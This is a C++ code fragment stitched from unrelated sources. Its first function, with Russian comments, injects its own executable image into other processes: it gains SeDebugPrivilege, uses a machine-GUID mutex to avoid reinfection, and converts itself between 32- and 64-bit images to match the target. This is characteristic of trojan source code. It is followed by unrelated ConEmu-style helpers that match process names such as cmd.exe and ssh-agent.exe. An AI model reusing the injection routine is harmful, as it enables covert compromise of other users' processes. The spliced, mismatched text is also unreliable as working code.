BOOLEAN Inject::InjectProcess(DWORD ProcessId, HANDLE ThreadHandle) { BOOLEAN Result = FALSE; HANDLE ProcessHandle; PVOID ImageBase; DWORD ImageSize; // Если процесс не инжекчен if (Utils::CheckMutex(ProcessId, Drop::GetMachineGuid())) { ProcessHandle = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD, FALSE, ProcessId); if (!ProcessHandle) { Utils::SetPrivilege("SeDebugPrivilege", TRUE); ProcessHandle = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION|PROCESS_CREATE_THREAD, FALSE, ProcessId); } if (ProcessHandle) { // Проверяем имя процесса if (CheckProcessName(ProcessHandle)) { #ifdef _WIN64 // Если мы 64 а трагет процесс 32, конвертируем себя в 32 и инжектим if (Utils::IsWow64(ProcessHandle)) #else // Если мы 32 а а тарегт процесс 64, конвертируем себя в 64 и инжектим if (Utils::IsWow64(NtCurrentProcess()) && !Utils::IsWow64(ProcessHandle)) #endif { // Конвертируем себя из 32 в 64 либо из 64 в 32, если первый запуск и инжект (32 в 64) нужно прогрузить секции 64 по вирутальным адресам if (SecCfg::GetImageFromImage(Drop::CurrentImageBase, &ImageBase, &ImageSize, Drop::bFirstImageLoad)) { Result = InjectImageToProcess(ProcessHandle, ImageBase, ImageSize, ThreadHandle); VirtualFree(ImageBase, 0, MEM_RELEASE); } } // Если мы 64 и таргет 64 или мы 32 и таргет 32 инжектим себя else { Result = InjectImageToProcess(ProcessHandle, Drop::CurrentImageBase, Drop::CurrentImageSize, ThreadHandle); } } CloseHandle(ProcessHandle); } else { DbgMsg(__FUNCTION__"(): OpenProcess failed: %08X\r\n", GetLastError()); } } else { DbgMsg(__FUNCTION__"(): Process already injected\r\n"); } return Result; }
bool IsTerminalServer(LPCWSTR pszProcessName) { LPCWSTR lsNames[] = { L"conemu-cyg-32.exe", L"conemu-cyg-64.exe", L"conemu-msys-32.exe", L"conemu-msys2-32.exe", L"conemu-msys2-64.exe", NULL}; return CheckProcessName(pszProcessName, lsNames); }
bool IsCmdProcessor(LPCWSTR asModuleName) { LPCWSTR lsNameExt[] = {L"cmd.exe", L"tcc.exe", NULL}; return CheckProcessName(asModuleName, lsNameExt); }
bool IsFarExe(LPCWSTR asModuleName) { LPCWSTR lsNameExt[] = {L"far.exe", L"far64.exe", NULL}; return CheckProcessName(asModuleName, lsNameExt); }
bool IsGitBashHelper(LPCWSTR pszProcessName) { LPCWSTR lsNameExt[] = { L"git-bash.exe", L"git-cmd.exe", NULL }; return CheckProcessName(pszProcessName, lsNameExt); }
bool IsConsoleServer(LPCWSTR pszProcessName) { LPCWSTR lsNameExt[] = {L"ConEmuC.exe", L"ConEmuC64.exe", NULL}; return CheckProcessName(pszProcessName, lsNameExt); }
bool IsConEmuGui(LPCWSTR pszProcessName) { LPCWSTR lsNameExt[] = {L"ConEmu.exe", L"ConEmu64.exe", NULL}; return CheckProcessName(pszProcessName, lsNameExt); }
bool IsConsoleService(LPCWSTR pszProcessName) { LPCWSTR lsNameExt[] = {L"csrss.exe", L"conhost.exe", NULL}; return CheckProcessName(pszProcessName, lsNameExt); }
bool IsSshAgentHelper(LPCWSTR pszProcessName) { LPCWSTR lsNameExt[] = { L"ssh-agent.exe", NULL }; return CheckProcessName(pszProcessName, lsNameExt); }